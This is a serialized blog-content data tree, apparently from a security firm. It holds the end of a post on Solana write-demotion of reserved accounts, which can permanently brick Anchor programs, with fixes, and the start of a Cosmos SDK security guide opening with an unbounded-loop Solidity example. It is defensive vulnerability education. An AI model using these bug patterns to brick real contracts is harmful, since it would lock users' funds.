https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":23,"tag":504,"props":73827,"children":73828},{"class":506,"line":540},[73829],{"type":23,"tag":504,"props":73830,"children":73831},{"style":1106},[73832],{"type":28,"value":73833},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":23,"tag":504,"props":73835,"children":73836},{"class":506,"line":555},[73837,73841,73845,73850,73854],{"type":23,"tag":504,"props":73838,"children":73839},{"style":511},[73840],{"type":28,"value":12694},{"type":23,"tag":504,"props":73842,"children":73843},{"style":598},[73844],{"type":28,"value":320},{"type":23,"tag":504,"props":73846,"children":73847},{"style":523},[73848],{"type":28,"value":73849},"reserved_account_keys ",{"type":23,"tag":504,"props":73851,"children":73852},{"style":598},[73853],{"type":28,"value":601},{"type":23,"tag":504,"props":73855,"children":73856},{"style":523},[73857],{"type":28,"value":552},{"type":23,"tag":504,"props":73859,"children":73860},{"class":506,"line":633},[73861,73865,73869,73874,73878,73883,73887,73891,73895,73899,73903,73907],{"type":23,"tag":504,"props":73862,"children":73863},{"style":511},[73864],{"type":28,"value":1977},{"type":23,"tag":504,"props":73866,"children":73867},{"style":511},[73868],{"type":28,"value":1982},{"type":23,"tag":504,"props":73870,"children":73871},{"style":529},[73872],{"type":28,"value":73873}," reserved_keys",{"type":23,"tag":504,"props":73875,"children":73876},{"style":598},[73877],{"type":28,"value":648},{"type":23,"tag":504,"props":73879,"children":73880},{"style":1012},[73881],{"type":28,"value":73882}," ReservedAccountKeys",{"type":23,"tag":504,"props":73884,"children":73885},{"style":598},[73886],{"type":28,"value":2457},{"type":23,"tag":504,"props":73888,"children":73889},{"style":517},[73890],{"type":28,"value":14400},{"type":23,"tag":504,"props":73892,"children":73893},{"style":523},[73894],{"type":28,"value":526},{"type":23,"tag":504,"props":73896,"children":73897},{"style":598},[73898],{"type":28,"value":2086},{"type":23,"tag":504,"props":73900,"children":73901},{"style":511},[73902],{"type":28,"value":12694},{"type":23,"tag":504,"props":73904,"children":73905},{"style":598},[73906],{"type":28,"value":320},{"type":23,"tag":504,"props":73908,"children":73909},{"style":523},[73910],{"type":28,"value":73911},"reserved_account_keys);\n",{"type":23,"tag":504,"props":73913,"children":73914},{"class":506,"line":687},[73915,73920,73924,73929,73933,73937,73941,73945],{"type":23,"tag":504,"props":73916,"children":73917},{"style":529},[73918],{"type":28,"value":73919},"    reserved_keys",{"type":23,"tag":504,"props":73921,"children":73922},{"style":598},[73923],{"type":28,"value":320},{"type":23,"tag":504,"props":73925,"children":73926},{"style":517},[73927],{"type":28,"value":73928},"update_active_set",{"type":23,"tag":504,"props":73930,"children":73931},{"style":523},[73932],{"type":28,"value":526},{"type":23,"tag":504,"props":73934,"children":73935},{"style":598},[73936],{"type":28,"value":2086},{"type":23,"tag":504,"props":73938,"children":73939},{"style":511},[73940],{"type":28,"value":12694},{"type":23,"tag":504,"props":73942,"children":73943},{"style":598},[73944],{"type":28,"value":320},{"type":23,"tag":504,"props":73946,"children":73947},{"style":523},[73948],{"type":28,"value":73949},"feature_set);\n",{"type":23,"tag":504,"props":73951,"children":73952},{"class":506,"line":736},[73953,73958,73962,73966,73970,73975],{"type":23,"tag":504,"props":73954,"children":73955},{"style":1012},[73956],{"type":28,"value":73957},"    Arc",{"type":23,"tag":504,"props":73959,"children":73960},{"style":598},[73961],{"type":28,"value":2457},{"type":23,"tag":504,"props":73963,"children":73964},{"style":517},[73965],{"type":28,"value":14102},{"type":23,"tag":504,"props":73967,"children":73968},{"style":523},[73969],{"type":28,"value":526},{"type":23,"tag":504,"props":73971,"children":73972},{"style":529},[73973],{"type":28,"value":73974},"reserved_keys",{"type":23,"tag":504,"props":73976,"children":73977},{"style":523},[73978],{"type":28,"value":1192},{"type":23,"tag":504,"props":73980,"children":73981},{"class":506,"line":785},[73982],{"type":23,"tag":504,"props":73983,"children":73984},{"style":523},[73985],{"type":28,"value":15556},{"type":23,"tag":17874,"props":73987,"children":73989},{"id":73988},"consequences-silent-failures-and-bricked-programs",[73990],{"type":28,"value":73991},"Consequences: Silent Failures and Bricked Programs",{"type":23,"tag":24,"props":73993,"children":73994},{},[73995],{"type":28,"value":73996},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":23,"tag":494,"props":73998,"children":74000},{"className":1957,"code":73999,"language":1956,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n",[74001],{"type":23,"tag":56,"props":74002,"children":74003},{"__ignoreMap":7},[74004,74019,74046,74061,74100,74107,74154,74185,74192,74207,74238,74245,74260,74291],{"type":23,"tag":504,"props":74005,"children":74006},{"class":506,"line":507},[74007,74011,74015],{"type":23,"tag":504,"props":74008,"children":74009},{"style":523},[74010],{"type":28,"value":21819},{"type":23,"tag":504,"props":74012,"children":74013},{"style":1012},[74014],{"type":28,"value":21824},{"type":23,"tag":504,"props":74016,"children":74017},{"style":523},[74018],{"type":28,"value":19240},{"type":23,"tag":504,"props":74020,"children":74021},{"class":506,"line":540},[74022,74026,74030,74034,74038,74042],{"type":23,"tag":504,"props":74023,"children":74024},{"style":511},[74025],{"type":28,"value":12671},{"type":23,"tag":504,"props":74027,"children":74028},{"style":511},[74029],{"type":28,"value":20132},{"type":23,"tag":504,"props":74031,"children":74032},{"style":1012},[74033],{"type":28,"value":70059},{"type":23,"tag":504,"props":74035,"children":74036},{"style":523},[74037],{"type":28,"value":21904},{"type":23,"tag":504,"props":74039,"children":74040},{"style":1012},[74041],{"type":28,"value":21909},{"type":23,"tag":504,"props":74043,"children":74044},{"style":523},[74045],{"type":28,"value":6264},{"type":23,"tag":504,"props":74047,"children":74048},{"class":506,"line":555},[74049,74053,74057],{"type":23,"tag":504,"props":74050,"children":74051},{"style":523},[74052],{"type":28,"value":22110},{"type":23,"tag":504,"props":74054,"children":74055},{"style":511},[74056],{"type":28,"value":2701},{"type":23,"tag":504,"props":74058,"children":74059},{"style":523},[74060],{"type":28,"value":19240},{"type":23,"tag":504,"props":74062,"children":74063},{"class":506,"line":633},[74064,74068,74072,74076,74080,74084,74088,74092,74096],{"type":23,"tag":504,"props":74065,"children":74066},{"style":511},[74067],{"type":28,"value":19824},{"type":23,"tag":504,"props":74069,"children":74070},{"style":529},[74071],{"type":28,"value":70098},{"type":23,"tag":504,"props":74073,"children":74074},{"style":598},[74075],{"type":28,"value":3472},{"type":23,"tag":504,"props":74077,"children":74078},{"style":1012},[74079],{"type":28,"value":22075},{"type":23,"tag":504,"props":74081,"children":74082},{"style":523},[74083],{"type":28,"value":21904},{"type":23,"tag":504,"props":74085,"children":74086},{"style":1012},[74087],{"type":28,"value":21909},{"type":23,"tag":504,"props":74089,"children":74090},{"style":523},[74091],{"type":28,"value":576},{"type":23,"tag":504,"props":74093,"children":74094},{"style":1012},[74095],{"type":28,"value":70123},{"type":23,"tag":504,"props":74097,"children":74098},{"style":523},[74099],{"type":28,"value":5122},{"type":23,"tag":504,"props":74101,"children":74102},{"class":506,"line":687},[74103],{"type":23,"tag":504,"props":74104,"children":74105},{"emptyLinePlaceholder":16},[74106],{"type":28,"value":1038},{"type":23,"tag":504,"props":74108,"children":74109},{"class":506,"line":736},[74110,74114,74118,74122,74126,74130,74134,74138,74142,74146,74150],{"type":23,"tag":504,"props":74111,"children":74112},{"style":523},[74113],{"type":28,"value":22110},{"type":23,"tag":504,"props":74115,"children":74116},{"style":511},[74117],{"type":28,"value":2701},{"type":23,"tag":504,"props":74119,"children":74120},{"style":523},[74121],{"type":28,"value":70158},{"type":23,"tag":504,"props":74123,"children":74124},{"style":598},[74125],{"type":28,"value":601},{"type":23,"tag":504,"props":74127,"children":74128},{"style":523},[74129],{"type":28,"value":70167},{"type":23,"tag":504,"props":74131,"children":74132},{"style":598},[74133],{"type":28,"value":320},{"type":23,"tag":504,"props":74135,"children":74136},{"style":523},[74137],{"type":28,"value":70176},{"type":23,"tag":504,"props":74139,"children":74140},{"style":598},[74141],{"type":28,"value":7559},{"type":23,"tag":504,"props":74143,"children":74144},{"style":523},[74145],{"type":28,"value":70098},{"type":23,"tag":504,"props":74147,"children":74148},{"style":598},[74149],{"type":28,"value":320},{"type":23,"tag":504,"props":74151,"children":74152},{"style":523},[74153],{"type":28,"value":70193},{"type":23,"tag":504,"props":74155,"children":74156},{"class":506,"line":785},[74157,74161,74165,74169,74173,74177,74181],{"type":23,"tag":504,"props":74158,"children":74159},{"style":511},[74160],{"type":28,"value":19824},{"type":23,"tag":504,"props":74162,"children":74163},{"style":529},[74164],{"type":28,"value":70167},{"type":23,"tag":504,"props":74166,"children":74167},{"style":598},[74168],{"type":28,"value":3472},{"type":23,"tag":504,"props":74170,"children":74171},{"style":1012},[74172],{"type":28,"value":24378},{"type":23,"tag":504,"props":74174,"children":74175},{"style":523},[74176],{"type":28,"value":21904},{"type":23,"tag":504,"props":74178,"children":74179},{"style":1012},[74180],{"type":28,"value":21909},{"type":23,"tag":504,"props":74182,"children":74183},{"style":523},[74184],{"type":28,"value":5122},{"type":23,"tag":504,"props":74186,"children":74187},{"class":506,"line":813},[74188],{"type":23,"tag":504,"props":74189,"children":74190},{"emptyLinePlaceholder":16},[74191],{"type":28,"value":1038},{"type":23,"tag":504,"props":74193,"children":74194},{"class":506,"line":851},[74195,74199,74203],{"type":23,"tag":504,"props":74196,"children":74197},{"style":523},[74198],{"type":28,"value":22110},{"type":23,"tag":504,"props":74200,"children":74201},{"style":511},[74202],{"type":28,"value":2701},{"type":23,"tag":504,"props":74204,"children":74205},{"style":523},[74206],{"type":28,"value":19240},{"type":23,"tag":504,"props":74208,"children":74209},{"class":506,"line":869},[74210,74214,74218,74222,74226,74230,74234],{"type":23,"tag":504,"props":74211,"children":74212},{"style":511},[74213],{"type":28,"value":19824},{"type":23,"tag":504,"props":74215,"children":74216},{"style":529},[74217],{"type":28,"value":70266},{"type":23,"tag":504,"props":74219,"children":74220},{"style":598},[74221],{"type":28,"value":3472},{"type":23,"tag":504,"props":74223,"children":74224},{"style":1012},[74225],{"type":28,"value":24378},{"type":23,"tag":504,"props":74227,"children":74228},{"style":523},[74229],{"type":28,"value":21904},{"type":23,"tag":504,"props":74231,"children":74232},{"style":1012},[74233],{"type":28,"value":21909},{"type":23,"tag":504,"props":74235,"children":74236},{"style":523},[74237],{"type":28,"value":5122},{"type":23,"tag":504,"props":74239,"children":74240},{"class":506,"line":878},[74241],{"type":23,"tag":504,"props":74242,"children":74243},{"emptyLinePlaceholder":16},[74244],{"type":28,"value":1038},{"type":23,"tag":504,"props":74246,"children":74247},{"class":506,"line":1221},[74248,74252,74256],{"type":23,"tag":504,"props":74249,"children":74250},{"style":523},[74251],{"type":28,"value":22110},{"type":23,"tag":504,"props":74253,"children":74254},{"style":511},[74255],{"type":28,"value":2701},{"type":23,"tag":504,"props":74257,"children":74258},{"style":523},[74259],{"type":28,"value":19240},{"type":23,"tag":504,"props":74261,"children":74262},{"class":506,"line":1276},[74263,74267,74271,74275,74279,74283,74287],{"type":23,"tag":504,"props":74264,"children":74265},{"style":511},[74266],{"type":28,"value":19824},{"type":23,"tag":504,"props":74268,"children":74269},{"style":529},[74270],{"type":28,"value":41216},{"type":23,"tag":504,"props":74272,"children":74273},{"style":598},[74274],{"type":28,"value":3472},{"type":23,"tag":504,"props":74276,"children":74277},{"style":1012},[74278],{"type":28,"value":22139},{"type":23,"tag":504,"props":74280,"children":74281},{"style":523},[74282],{"type":28,"value":21904},{"type":23,"tag":504,"props":74284,"children":74285},{"style":1012},[74286],{"type":28,"value":21909},{"type":23,"tag":504,"props":74288,"children":74289},{"style":523},[74290],{"type":28,"value":5122},{"type":23,"tag":504,"props":74292,"children":74293},{"class":506,"line":1285},[74294],{"type":23,"tag":504,"props":74295,"children":74296},{"style":523},[74297],{"type":28,"value":884},{"type":23,"tag":24,"props":74299,"children":74300},{},[74301,74303,74309,74311,74317],{"type":28,"value":74302},"This works fine — until one day, ",{"type":23,"tag":56,"props":74304,"children":74306},{"className":74305},[],[74307],{"type":28,"value":74308},"old_king",{"type":28,"value":74310}," is silently demoted. Suddenly, the ",{"type":23,"tag":56,"props":74312,"children":74314},{"className":74313},[],[74315],{"type":28,"value":74316},"#[account(mut)]",{"type":28,"value":74318}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override that.",{"type":23,"tag":17874,"props":74320,"children":74322},{"id":74321},"real-world-example-write-demotion-with-secp256r1_program",[74323,74325],{"type":28,"value":74324},"Real-World Example: Write-Demotion with ",{"type":23,"tag":56,"props":74326,"children":74328},{"className":74327},[],[74329],{"type":28,"value":74330},"secp256r1_program",{"type":23,"tag":24,"props":74332,"children":74333},{},[74334,74336,74341],{"type":28,"value":74335},"Here’s a concrete example of the write-demotion trap playing out on mainnet — involving ",{"type":23,"tag":56,"props":74337,"children":74339},{"className":74338},[],[74340],{"type":28,"value":74330},{"type":28,"value":74342},", a precompiled program gated behind a feature flag:",{"type":23,"tag":494,"props":74344,"children":74346},{"className":1957,"code":74345,"language":1956,"meta":7,"style":7},"ReservedAccount::new_pending(\n    secp256r1_program::id(),\n    feature_set::enable_secp256r1_precompile::id(),\n)\n",[74347],{"type":23,"tag":56,"props":74348,"children":74349},{"__ignoreMap":7},[74350,74371,74391,74420],{"type":23,"tag":504,"props":74351,"children":74352},{"class":506,"line":507},[74353,74358,74362,74367],{"type":23,"tag":504,"props":74354,"children":74355},{"style":1012},[74356],{"type":28,"value":74357},"ReservedAccount",{"type":23,"tag":504,"props":74359,"children":74360},{"style":598},[74361],{"type":28,"value":2457},{"type":23,"tag":504,"props":74363,"children":74364},{"style":517},[74365],{"type":28,"value":74366},"new_pending",{"type":23,"tag":504,"props":74368,"children":74369},{"style":523},[74370],{"type":28,"value":2439},{"type":23,"tag":504,"props":74372,"children":74373},{"class":506,"line":540},[74374,74379,74383,74387],{"type":23,"tag":504,"props":74375,"children":74376},{"style":523},[74377],{"type":28,"value":74378},"    secp256r1_program",{"type":23,"tag":504,"props":74380,"children":74381},{"style":598},[74382],{"type":28,"value":2457},{"type":23,"tag":504,"props":74384,"children":74385},{"style":517},[74386],{"type":28,"value":2462},{"type":23,"tag":504,"props":74388,"children":74389},{"style":523},[74390],{"type":28,"value":2467},{"type":23,"tag":504,"props":74392,"children":74393},{"class":506,"line":555},[74394,74399,74403,74408,74412,74416],{"type":23,"tag":504,"props":74395,"children":74396},{"style":523},[74397],{"type":28,"value":74398},"    feature_set",{"type":23,"tag":504,"props":74400,"children":74401},{"style":598},[74402],{"type":28,"value":2457},{"type":23,"tag":504,"props":74404,"children":74405},{"style":523},[74406],{"type":28,"value":74407},"enable_secp256r1_precompile",{"type":23,"tag":504,"props":74409,"children":74410},{"style":598},[74411],{"type":28,"value":2457},{"type":23,"tag":504,"props":74413,"children":74414},{"style":517},[74415],{"type":28,"value":2462},{"type":23,"tag":504,"props":74417,"children":74418},{"style":523},[74419],{"type":28,"value":2467},{"type":23,"tag":504,"props":74421,"children":74422},{"class":506,"line":633},[74423],{"type":23,"tag":504,"props":74424,"children":74425},{"style":523},[74426],{"type":28,"value":1192},{"type":23,"tag":24,"props":74428,"children":74429},{},[74430,74432,74437,74439,74445],{"type":28,"value":74431},"Before the ",{"type":23,"tag":56,"props":74433,"children":74435},{"className":74434},[],[74436],{"type":28,"value":74407},{"type":28,"value":74438}," feature is activated, this account behaves like any ordinary one. You can assign ",{"type":23,"tag":56,"props":74440,"children":74442},{"className":74441},[],[74443],{"type":28,"value":74444},"secp256r1_program::id()",{"type":28,"value":74446}," as the king in a contract.",{"type":23,"tag":24,"props":74448,"children":74449},{},[74450,74452,74457],{"type":28,"value":74451},"But once the feature is flipped on, the runtime silently marks it as read-only, blocking any future writes. As a result, ",{"type":23,"tag":56,"props":74453,"children":74455},{"className":74454},[],[74456],{"type":28,"value":74444},{"type":28,"value":74458}," becomes the eternal king, and no one can dethrone it.",{"type":23,"tag":17874,"props":74460,"children":74462},{"id":74461},"fix-3-preventing-write-demotion-pitfalls",[74463],{"type":28,"value":74464},"Fix 3: Preventing Write-Demotion Pitfalls",{"type":23,"tag":24,"props":74466,"children":74467},{},[74468,74470,74475],{"type":28,"value":74469},"Alright, let’s try to fix this ",{"type":23,"tag":1887,"props":74471,"children":74472},{},[74473],{"type":28,"value":74474},"yet another",{"type":28,"value":74476}," edge case — and hopefully close the book on it.",{"type":23,"tag":17874,"props":74478,"children":74480},{"id":74479},"attempt-1-block-known-reserved-accounts",[74481],{"type":28,"value":74482},"Attempt 1: Block Known Reserved Accounts",{"type":23,"tag":24,"props":74484,"children":74485},{},[74486],{"type":28,"value":74487},"One naive solution is to reject any known reserved account, for example:",{"type":23,"tag":494,"props":74489,"children":74491},{"className":39334,"code":74490,"language":39336,"meta":7,"style":7},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",[74492],{"type":23,"tag":56,"props":74493,"children":74494},{"__ignoreMap":7},[74495,74503],{"type":23,"tag":504,"props":74496,"children":74497},{"class":506,"line":507},[74498],{"type":23,"tag":504,"props":74499,"children":74500},{"style":523},[74501],{"type":28,"value":74502},"    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n",{"type":23,"tag":504,"props":74504,"children":74505},{"class":506,"line":540},[74506],{"type":23,"tag":504,"props":74507,"children":74508},{"style":1440},[74509],{"type":28,"value":74510},"+       assert!(ctx.accounts.new_king.key() != secp256r1_program::id());\n",{"type":23,"tag":24,"props":74512,"children":74513},{},[74514,74516,74521],{"type":28,"value":74515},"This works in the short term, but doesn’t scale — you can’t predict all future additions to the ",{"type":23,"tag":56,"props":74517,"children":74519},{"className":74518},[],[74520],{"type":28,"value":74357},{"type":28,"value":74522}," list. The moment a new reserved account is introduced, your program becomes vulnerable again.",{"type":23,"tag":17874,"props":74524,"children":74526},{"id":74525},"attempt-2-use-a-pda-vault",[74527],{"type":28,"value":74528},"Attempt 2: Use a PDA Vault",{"type":23,"tag":24,"props":74530,"children":74531},{},[74532,74534,74539],{"type":28,"value":74533},"A more future-proof fix is to avoid ",{"type":23,"tag":296,"props":74535,"children":74536},{},[74537],{"type":28,"value":74538},"transferring lamports to arbitrary accounts",{"type":28,"value":74540}," altogether.",{"type":23,"tag":24,"props":74542,"children":74543},{},[74544],{"type":28,"value":74545},"A clean approach would be to store the refund lamports in a PDA vault owned by your program. This prevents your logic from depending on accounts you don’t have complete control over, and sidesteps any risk of write-demotion or future account restrictions.",{"type":23,"tag":70,"props":74547,"children":74549},{"id":74548},"final-thoughts",[74550],{"type":28,"value":74551},"Final Thoughts",{"type":23,"tag":24,"props":74553,"children":74554},{},[74555],{"type":28,"value":74556},"Transferring lamports on Solana is not always straightforward and carries potential risks. Account constraints alone are insufficient to ensure safety, especially when dealing with runtime-specific edge cases.",{"type":23,"tag":24,"props":74558,"children":74559},{},[74560],{"type":28,"value":74561},"We can safely transfer lamports to an account under the following conditions:",{"type":23,"tag":350,"props":74563,"children":74564},{},[74565,74570,74575],{"type":23,"tag":45,"props":74566,"children":74567},{},[74568],{"type":28,"value":74569},"It's not executable.",{"type":23,"tag":45,"props":74571,"children":74572},{},[74573],{"type":28,"value":74574},"Its balance, after the transfer, remains rent-exempt.",{"type":23,"tag":45,"props":74576,"children":74577},{},[74578],{"type":28,"value":74579},"It's not a reserved account.",{"type":23,"tag":24,"props":74581,"children":74582},{},[74583],{"type":28,"value":74584},"This issue is not purely theoretical; it has impacted real-world programs. One significant case was recently reported to Jito via the bug bounty, which could have resulted in incorrect tip payments.",{"type":23,"tag":1815,"props":74586,"children":74587},{},[74588],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":74590},[74591,74592,74593,74599],{"id":27996,"depth":540,"text":27999},{"id":69973,"depth":540,"text":69976},{"id":71080,"depth":540,"text":71083,"children":74594},[74595,74596,74598],{"id":71086,"depth":555,"text":71089},{"id":71773,"depth":555,"text":74597},"Bug 2: Writable but Untouchable — set_lamports Fails",{"id":73078,"depth":555,"text":73081},{"id":74548,"depth":540,"text":74551},"content:blog:2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol.md","blog/2025-05-14-king-of-the-sol",{"_path":74604,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":74605,"description":74606,"date":74607,"author":74608,"image":74609,"isFeatured":16,"onBlogPage":16,"tags":74611,"body":74614,"_type":1838,"_id":88499,"_source":1840,"_file":88500,"_stem":88501,"_extension":1843},"/blog/2025-06-10-cosmos-security","Cosmos Security: An Otter's Guide","From infinite loops and map determinism to AnteHandler missteps and storage key collisions, we highlight real-world vulnerabilities and actionable advice for building safer Cosmos-based projects.","2025-06-10","james",{"src":74610,"width":12604,"height":12604},"/posts/cosmos-security/title.png",[74612,74613],"cosmos-sdk","security",{"type":20,"children":74615,"toc":88477},[74616,74620,74625,74630,74636,74641,74646,74651,74912,75401,75420,75425,75430,75435,75441,75446,75481,75491,75998,76018,76031,76037,76042,76047,76288,76293,76301,76313,76675,76680,76685,76721,76730,77156,77177,77183,77203,77224,77243,77275,77287,77299,77953,77981,77990,78430,78457,78477,78482,78503,78552,78561,79793,79821,79827,79832,79837,79857,80144,80178,80359,80364,80369,80413,80422,81614,81865,81878,81884,81918,81923,81986,81991,82011,82030,82042,82061,82753,82758,82763,82791,82800,83685,83712,83718,83738,83743,83756,83930,83943,84034,84039,84047,84057,84207,84212,84232,84240,84245,84643,84655,84660,84701,84712,84732,85040,85045,85970,85982,85990,85995,86988,86993,87005,87025,87044,87958,88015,88121,88133,88138,88143,88171,88180,88406,88432,88445,88459,88463,88468,88473],{"type":23,"tag":70,"props":74617,"children":74618},{"id":27996},[74619],{"type":28,"value":27999},{"type":23,"tag":24,"props":74621,"children":74622},{},[74623],{"type":28,"value":74624},"The Cosmos SDK is an \"L1 toolkit\" for developers. It provides an open-source tool that enhances the ability to build application-specific L1 chains, all while prioritizing flexibility and control over the entire runtime environment. Unfortunately, with the convenience of the Cosmos SDK, security can be an oversight.",{"type":23,"tag":24,"props":74626,"children":74627},{},[74628],{"type":28,"value":74629},"In this comprehensive blog post, we break down security issues that are often overseen by developers, supported by real-world examples from live projects. Our goal is to provide a practical exploration of security vulnerabilities while also offering insights on how developers can identify and address these issues on their own.",{"type":23,"tag":70,"props":74631,"children":74633},{"id":74632},"its-loopin-time",[74634],{"type":28,"value":74635},"It's Loopin' Time",{"type":23,"tag":24,"props":74637,"children":74638},{},[74639],{"type":28,"value":74640},"There are notable differences in building app-specific L1s using the SDK and building contracts on established L1 chains. It is especially crucial to recognize that maintaining the stability of a blockchain is dependent on the developer.",{"type":23,"tag":24,"props":74642,"children":74643},{},[74644],{"type":28,"value":74645},"Below, we begin to demonstrate the differences between writing smart contracts with Solidity vs developing L1 with the Cosmos SDK.",{"type":23,"tag":24,"props":74647,"children":74648},{},[74649],{"type":28,"value":74650},"Here is a simple example for reference:",{"type":23,"tag":494,"props":74652,"children":74654},{"code":74653,"language":3454,"meta":7,"className":3455,"style":7},"function sumWithStride(\n    uint64 start,\n    uint64 stride,\n    uint64[] memory arr\n) public returns (uint64) {\n    uint64 idx = start;\n    uint64 sum = 0;\n    uint64 end = arr.length;\n\n    while (idx \u003C end) {\n        sum += arr[idx];\n        idx += stride;\n    }\n    return sum;\n}\n",[74655],{"type":23,"tag":56,"props":74656,"children":74657},{"__ignoreMap":7},[74658,74674,74691,74707,74729,74758,74779,74803,74824,74831,74852,74869,74886,74893,74905],{"type":23,"tag":504,"props":74659,"children":74660},{"class":506,"line":507},[74661,74665,74670],{"type":23,"tag":504,"props":74662,"children":74663},{"style":511},[74664],{"type":28,"value":514},{"type":23,"tag":504,"props":74666,"children":74667},{"style":517},[74668],{"type":28,"value":74669}," sumWithStride",{"type":23,"tag":504,"props":74671,"children":74672},{"style":523},[74673],{"type":28,"value":2439},{"type":23,"tag":504,"props":74675,"children":74676},{"class":506,"line":540},[74677,74682,74687],{"type":23,"tag":504,"props":74678,"children":74679},{"style":1012},[74680],{"type":28,"value":74681},"    uint64",{"type":23,"tag":504,"props":74683,"children":74684},{"style":529},[74685],{"type":28,"value":74686}," start",{"type":23,"tag":504,"props":74688,"children":74689},{"style":523},[74690],{"type":28,"value":2484},{"type":23,"tag":504,"props":74692,"children":74693},{"class":506,"line":555},[74694,74698,74703],{"type":23,"tag":504,"props":74695,"children":74696},{"style":1012},[74697],{"type":28,"value":74681},{"type":23,"tag":504,"props":74699,"children":74700},{"style":529},[74701],{"type":28,"value":74702}," stride",{"type":23,"tag":504,"props":74704,"children":74705},{"style":523},[74706],{"type":28,"value":2484},{"type":23,"tag":504,"props":74708,"children":74709},{"class":506,"line":633},[74710,74714,74719,74724],{"type":23,"tag":504,"props":74711,"children":74712},{"style":1012},[74713],{"type":28,"value":74681},{"type":23,"tag":504,"props":74715,"children":74716},{"style":523},[74717],{"type":28,"value":74718},"[] ",{"type":23,"tag":504,"props":74720,"children":74721},{"style":511},[74722],{"type":28,"value":74723},"memory",{"type":23,"tag":504,"props":74725,"children":74726},{"style":529},[74727],{"type":28,"value":74728}," arr\n",{"type":23,"tag":504,"props":74730,"children":74731},{"class":506,"line":687},[74732,74736,74740,74745,74749,74754],{"type":23,"tag":504,"props":74733,"children":74734},{"style":523},[74735],{"type":28,"value":2064},{"type":23,"tag":504,"props":74737,"children":74738},{"style":511},[74739],{"type":28,"value":60654},{"type":23,"tag":504,"props":74741,"children":74742},{"style":544},[74743],{"type":28,"value":74744}," returns",{"type":23,"tag":504,"props":74746,"children":74747},{"style":523},[74748],{"type":28,"value":801},{"type":23,"tag":504,"props":74750,"children":74751},{"style":1012},[74752],{"type":28,"value":74753},"uint64",{"type":23,"tag":504,"props":74755,"children":74756},{"style":523},[74757],{"type":28,"value":537},{"type":23,"tag":504,"props":74759,"children":74760},{"class":506,"line":736},[74761,74765,74770,74774],{"type":23,"tag":504,"props":74762,"children":74763},{"style":1012},[74764],{"type":28,"value":74681},{"type":23,"tag":504,"props":74766,"children":74767},{"style":523},[74768],{"type":28,"value":74769}," idx ",{"type":23,"tag":504,"props":74771,"children":74772},{"style":598},[74773],{"type":28,"value":601},{"type":23,"tag":504,"props":74775,"children":74776},{"style":523},[74777],{"type":28,"value":74778}," start;\n",{"type":23,"tag":504,"props":74780,"children":74781},{"class":506,"line":785},[74782,74786,74791,74795,74799],{"type":23,"tag":504,"props":74783,"children":74784},{"style":1012},[74785],{"type":28,"value":74681},{"type":23,"tag":504,"props":74787,"children":74788},{"style":523},[74789],{"type":28,"value":74790}," sum ",{"type":23,"tag":504,"props":74792,"children":74793},{"style":598},[74794],{"type":28,"value":601},{"type":23,"tag":504,"props":74796,"children":74797},{"style":1440},[74798],{"type":28,"value":2023},{"type":23,"tag":504,"props":74800,"children":74801},{"style":523},[74802],{"type":28,"value":866},{"type":23,"tag":504,"props":74804,"children":74805},{"class":506,"line":813},[74806,74810,74815,74819],{"type":23,"tag":504,"props":74807,"children":74808},{"style":1012},[74809],{"type":28,"value":74681},{"type":23,"tag":504,"props":74811,"children":74812},{"style":523},[74813],{"type":28,"value":74814}," end ",{"type":23,"tag":504,"props":74816,"children":74817},{"style":598},[74818],{"type":28,"value":601},{"type":23,"tag":504,"props":74820,"children":74821},{"style":523},[74822],{"type":28,"value":74823}," arr.length;\n",{"type":23,"tag":504,"props":74825,"children":74826},{"class":506,"line":851},[74827],{"type":23,"tag":504,"props":74828,"children":74829},{"emptyLinePlaceholder":16},[74830],{"type":28,"value":1038},{"type":23,"tag":504,"props":74832,"children":74833},{"class":506,"line":869},[74834,74838,74843,74847],{"type":23,"tag":504,"props":74835,"children":74836},{"style":544},[74837],{"type":28,"value":63353},{"type":23,"tag":504,"props":74839,"children":74840},{"style":523},[74841],{"type":28,"value":74842}," (idx ",{"type":23,"tag":504,"props":74844,"children":74845},{"style":598},[74846],{"type":28,"value":4789},{"type":23,"tag":504,"props":74848,"children":74849},{"style":523},[74850],{"type":28,"value":74851}," end) {\n",{"type":23,"tag":504,"props":74853,"children":74854},{"class":506,"line":878},[74855,74860,74864],{"type":23,"tag":504,"props":74856,"children":74857},{"style":523},[74858],{"type":28,"value":74859},"        sum ",{"type":23,"tag":504,"props":74861,"children":74862},{"style":598},[74863],{"type":28,"value":67418},{"type":23,"tag":504,"props":74865,"children":74866},{"style":523},[74867],{"type":28,"value":74868}," arr[idx];\n",{"type":23,"tag":504,"props":74870,"children":74871},{"class":506,"line":1221},[74872,74877,74881],{"type":23,"tag":504,"props":74873,"children":74874},{"style":523},[74875],{"type":28,"value":74876},"        idx ",{"type":23,"tag":504,"props":74878,"children":74879},{"style":598},[74880],{"type":28,"value":67418},{"type":23,"tag":504,"props":74882,"children":74883},{"style":523},[74884],{"type":28,"value":74885}," stride;\n",{"type":23,"tag":504,"props":74887,"children":74888},{"class":506,"line":1276},[74889],{"type":23,"tag":504,"props":74890,"children":74891},{"style":523},[74892],{"type":28,"value":875},{"type":23,"tag":504,"props":74894,"children":74895},{"class":506,"line":1285},[74896,74900],{"type":23,"tag":504,"props":74897,"children":74898},{"style":544},[74899],{"type":28,"value":15968},{"type":23,"tag":504,"props":74901,"children":74902},{"style":523},[74903],{"type":28,"value":74904}," 